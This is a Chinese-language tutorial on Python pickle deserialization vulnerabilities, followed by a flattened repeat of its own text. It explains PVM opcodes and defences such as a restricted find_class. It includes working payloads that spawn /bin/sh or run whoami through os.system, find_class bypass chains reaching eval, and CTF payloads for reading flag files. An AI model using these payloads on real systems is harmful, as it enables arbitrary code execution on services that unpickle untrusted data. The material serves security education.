浅析python反序列化
字数 1888 2025-08-25 22:58:47

Python反序列化安全深度解析

1. Python序列化与反序列化基础

1.1 基本概念

Python的序列化和反序列化是将一个类对象转化为字节流进行存储和传输,然后再将字节流转化回原始对象的过程。

import pickle

class Person():
    def __init__(self):
        self.age = 18
        self.name = "Pickle"

p = Person()
opcode = pickle.dumps(p)
print(opcode)
# b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'

P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)
# The age is:18 The name is:Pickle

1.2 相关函数

  • pickle.dumps(obj[, protocol]): 将obj对象序列化为string形式
  • pickle.loads(string): 从string中读出序列化前的obj对象
  • pickle.dump()pickle.load(): 可以序列化多个对象到同一个文件

1.3 可序列化对象类型

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合(tuple、list、set和dict)
  • 定义在模块顶层的函数(使用def定义)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例(这些类的__dict__属性值或__getstate__()函数的返回值可以被打包)

2. Python反序列化机制

2.1 PVM(Python虚拟机)

PVM是实现Python序列化和反序列化的核心,由三部分组成:

  1. 引擎(指令分析器): 读取操作码和参数并解释处理
  2. 栈区: 作为流数据处理过程中的暂存区(Python list实现)
  3. Memo(标签区): 数据索引或标记(Python dict实现)

2.2 序列化过程

  1. 从对象提取所有属性,并将属性转化为名值对
  2. 写入对象的类名
  3. 写入名值对

2.3 反序列化过程

  1. 获取pickle输入流
  2. 重建属性列表
  3. 根据类名创建一个新的对象
  4. 将属性复制到新的对象中

3. Pickle协议与Opcode

3.1 Pickle协议版本

  • v0: 原始"人类可读"协议
  • v1: 较早的二进制格式
  • v2: Python 2.3引入,支持new-style class
  • v3: Python 3.0引入,支持bytes对象
  • v4: Python 3.4引入,支持大对象存储
  • v5: Python 3.8引入,支持字节数组和缓冲区协议

3.2 重要Opcode

Opcode 描述 示例
c 调用find_class导入模块和类 cos\nsystem\n
( 标记开始
S 压入字符串 S'/bin/sh'
t 从栈顶到标记处构建元组 (S'ls'\nt
R 调用可调用对象 R
. 结束符
b 使用__setstate____dict__.update
i 构建实例 ios\nsystem\n
o 构建实例(参数通过栈获取) (cos\nsystem\nS'ls'\no

4. 反序列化漏洞利用

4.1 基本利用方式

opcode = b'''cos
system
(S'/bin/sh'
tR.'''

解析:

  1. c导入os.system
  2. (压入标记
  3. S压入字符串'/bin/sh'
  4. t构建元组('/bin/sh',)
  5. R调用os.system('/bin/sh')
  6. .结束

4.2 使用__reduce__方法

import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())

4.3 绕过限制的技巧

4.3.1 绕过find_class限制

# 获取builtins模块中的eval函数
opcode = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.'''

4.3.2 使用__setstate__

# 使用b操作码和__setstate__
opcode = b'''c__main__
secret
(V\u006bey
S'asd'
db.'''

5. 防御措施

5.1 重写find_class方法

import builtins
import io
import pickle

safe_builtins = {'range', 'complex', 'set', 'frozenset', 'slice'}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

5.2 其他防御建议

  1. 不要反序列化不受信任的数据
  2. 使用JSON等更安全的序列化格式替代pickle
  3. 对序列化数据进行签名或加密
  4. 使用最新的pickle协议版本

6. 实际案例分析

6.1 [CISCN 2019华北Day1]Web2

import pickle
import urllib

class poc(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))

a = poc()
print(urllib.quote(pickle.dumps(a)))

6.2 Code-breaking 2018 picklecode

# 绕过RestrictedUnpickler限制的payload
opcode = b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
(cbuiltins
globals
)Rp2
00
g1
(g2
S'builtins'
tRp3
0
g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.'''

7. 工具与资源

7.1 Pker工具

Pker可以自动化解析pickle opcode:

# pker_test.py
i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return

7.2 Pickletools

import pickletools
opcode = b'''cos
system
(S'/bin/sh'
tR.'''
pickletools.dis(opcode)

8. 总结

Python的反序列化漏洞危害严重,攻击者可以通过构造特殊的opcode实现任意代码执行。开发者应当:

  1. 避免反序列化不受信任的数据
  2. 使用安全的替代方案如JSON
  3. 如果必须使用pickle,实现严格的find_class限制
  4. 保持Python和依赖库的最新版本

理解PVM工作机制和opcode语义对于防御和利用都至关重要,安全人员需要深入掌握这些知识才能有效应对相关威胁。

Python反序列化安全深度解析 1. Python序列化与反序列化基础 1.1 基本概念 Python的序列化和反序列化是将一个类对象转化为字节流进行存储和传输,然后再将字节流转化回原始对象的过程。 1.2 相关函数 pickle.dumps(obj[, protocol]) : 将obj对象序列化为string形式 pickle.loads(string) : 从string中读出序列化前的obj对象 pickle.dump() 与 pickle.load() : 可以序列化多个对象到同一个文件 1.3 可序列化对象类型 None 、 True 和 False 整数、浮点数、复数 str 、 byte 、 bytearray 只包含可打包对象的集合(tuple、list、set和dict) 定义在模块顶层的函数(使用def定义) 定义在模块顶层的内置函数 定义在模块顶层的类 某些类实例(这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被打包) 2. Python反序列化机制 2.1 PVM(Python虚拟机) PVM是实现Python序列化和反序列化的核心,由三部分组成: 引擎(指令分析器) : 读取操作码和参数并解释处理 栈区 : 作为流数据处理过程中的暂存区(Python list实现) Memo(标签区) : 数据索引或标记(Python dict实现) 2.2 序列化过程 从对象提取所有属性,并将属性转化为名值对 写入对象的类名 写入名值对 2.3 反序列化过程 获取pickle输入流 重建属性列表 根据类名创建一个新的对象 将属性复制到新的对象中 3. Pickle协议与Opcode 3.1 Pickle协议版本 v0: 原始"人类可读"协议 v1: 较早的二进制格式 v2: Python 2.3引入,支持new-style class v3: Python 3.0引入,支持bytes对象 v4: Python 3.4引入,支持大对象存储 v5: Python 3.8引入,支持字节数组和缓冲区协议 3.2 重要Opcode | Opcode | 描述 | 示例 | |--------|------|------| | c | 调用 find_class 导入模块和类 | cos\nsystem\n | | ( | 标记开始 | | | S | 压入字符串 | S'/bin/sh' | | t | 从栈顶到标记处构建元组 | (S'ls'\nt | | R | 调用可调用对象 | R | | . | 结束符 | | | b | 使用 __setstate__ 或 __dict__.update | | | i | 构建实例 | ios\nsystem\n | | o | 构建实例(参数通过栈获取) | (cos\nsystem\nS'ls'\no | 4. 反序列化漏洞利用 4.1 基本利用方式 解析: c 导入 os.system ( 压入标记 S 压入字符串 '/bin/sh' t 构建元组 ('/bin/sh',) R 调用 os.system('/bin/sh') . 结束 4.2 使用 __reduce__ 方法 4.3 绕过限制的技巧 4.3.1 绕过 find_class 限制 4.3.2 使用 __setstate__ 5. 防御措施 5.1 重写 find_class 方法 5.2 其他防御建议 不要反序列化不受信任的数据 使用JSON等更安全的序列化格式替代pickle 对序列化数据进行签名或加密 使用最新的pickle协议版本 6. 实际案例分析 6.1 [ CISCN 2019华北Day1 ]Web2 6.2 Code-breaking 2018 picklecode 7. 工具与资源 7.1 Pker工具 Pker可以自动化解析pickle opcode: 7.2 Pickletools 8. 总结 Python的反序列化漏洞危害严重,攻击者可以通过构造特殊的opcode实现任意代码执行。开发者应当: 避免反序列化不受信任的数据 使用安全的替代方案如JSON 如果必须使用pickle,实现严格的 find_class 限制 保持Python和依赖库的最新版本 理解PVM工作机制和opcode语义对于防御和利用都至关重要,安全人员需要深入掌握这些知识才能有效应对相关威胁。